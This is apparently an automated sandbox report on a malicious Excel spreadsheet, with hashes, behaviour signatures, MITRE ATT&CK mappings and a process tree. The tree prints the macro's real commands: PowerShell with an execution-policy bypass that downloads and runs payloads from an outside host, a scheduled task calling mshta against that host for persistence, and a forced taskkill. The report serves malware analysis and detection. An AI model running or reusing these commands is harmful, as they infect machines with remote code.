Analysis

  • max time kernel
    111s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-08-2022 07:46

General

  • Target

    SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls

  • Size

    33KB

  • MD5

    8f22920da513765b73a754e1901bf801

  • SHA1

    67259176ccae7489e8c2451651cb0fa1ec7dd637

  • SHA256

    1d0ac09d9a53155d463c696e606ebf027274e7699c206959d171119ea3042765

  • SHA512

    5247cc3b348956078c0d03bc495501f8ca0874f3f946e5bf28af7defb614bb57e617fa77ae6d1ba03a5be1fb73c8e060adb8e30f6214740b74c6ded76495d354

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.10473.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4732
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4760
      • C:\Windows\system32\PING.EXE
        ping -n 80 127.0.0.1
        3⤵
        • Runs ping.exe
        PID:1200
      • C:\Windows\system32\cmd.exe
        cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3612
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\system32\PING.EXE
        ping -n 85 127.0.0.1
        3⤵
        • Runs ping.exe
        PID:3016
      • C:\Windows\system32\cmd.exe
        cmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\system32\schtasks.exe
          schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
          4⤵
          • Creates scheduled task(s)
          PID:4960
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4308
      • C:\Windows\system32\PING.EXE
        ping -n 10 127.0.0.1
        3⤵
        • Runs ping.exe
        PID:2360
      • C:\Windows\system32\cmd.exe
        cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4208
      • C:\Windows\system32\cmd.exe
        cmd /c start /min taskkill /f /im WINWORD.EXE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im WINWORD.EXE
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2636
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\system32\PING.EXE
        ping -n 7 127.0.0.1
        3⤵
        • Runs ping.exe
        PID:4888

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Remote System Discovery

1
T1018

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    43f4bec966ab901ac034fc136a642fa5

    SHA1

    8e7227cefec8b05c9a79b2751d1261187b9c0422

    SHA256

    09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4

    SHA512

    a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    6KB

    MD5

    368ed064a02d659afd3df9f76a14158c

    SHA1

    1b78d9f6fec7ba0050b4a010e8888faacec0ae12

    SHA256

    c3aa5d5c8140dea8e9c06a3b7163af49d31bd2d2309697705fbebe840fa4b325

    SHA512

    b53d04efe772777c6e555d3dcb486fbb4d3b421d32527b749bc07ba8ece49414c2d548b4b4dc080f9b5129bd6c74b1de780e4ea38c754f6a37d14e157db7c696

  • C:\Users\Public\DefenderFile.bat
    Filesize

    1KB

    MD5

    ae4a0997ce01f4ebbb3f3cc0054ce933

    SHA1

    e5bfe3b390f1208b8b6ea0317f4364005f552851

    SHA256

    a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce

    SHA512

    5de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184

  • C:\Users\Public\Outlook.bat
    Filesize

    900B

    MD5

    0427a3545c2eaed3167cffe2cf5f8aba

    SHA1

    b27f3a7d2b855f1d0b84727603add711bb6f6170

    SHA256

    ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391

    SHA512

    fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b

  • C:\Users\Public\task.bat
    Filesize

    954B

    MD5

    20a395a26f50352dc994664c3e7df533

    SHA1

    9b6407d22297b7af7c49aacd51bf42e51ced7029

    SHA256

    c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32

    SHA512

    2b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617

  • memory/1200-143-0x0000000000000000-mapping.dmp
  • memory/1772-140-0x0000000000000000-mapping.dmp
  • memory/2360-144-0x0000000000000000-mapping.dmp
  • memory/2636-151-0x0000000000000000-mapping.dmp
  • memory/2872-142-0x0000000000000000-mapping.dmp
  • memory/3016-146-0x0000000000000000-mapping.dmp
  • memory/3612-162-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/3612-172-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/3612-166-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/3612-158-0x0000000000000000-mapping.dmp
  • memory/3932-157-0x0000000000000000-mapping.dmp
  • memory/4088-148-0x0000000000000000-mapping.dmp
  • memory/4208-149-0x0000000000000000-mapping.dmp
  • memory/4208-152-0x000001D17FE70000-0x000001D17FE92000-memory.dmp
    Filesize

    136KB

  • memory/4208-153-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/4208-154-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/4208-155-0x00007FF80C3A0000-0x00007FF80CE61000-memory.dmp
    Filesize

    10.8MB

  • memory/4308-141-0x0000000000000000-mapping.dmp
  • memory/4576-164-0x0000000000000000-mapping.dmp
  • memory/4732-138-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmp
    Filesize

    64KB

  • memory/4732-168-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-136-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-135-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-134-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-132-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-133-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-171-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-170-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-169-0x00007FF7F5170000-0x00007FF7F5180000-memory.dmp
    Filesize

    64KB

  • memory/4732-137-0x00007FF7F2860000-0x00007FF7F2870000-memory.dmp
    Filesize

    64KB

  • memory/4760-139-0x0000000000000000-mapping.dmp
  • memory/4888-145-0x0000000000000000-mapping.dmp
  • memory/4960-165-0x0000000000000000-mapping.dmp
  • memory/5060-150-0x0000000000000000-mapping.dmp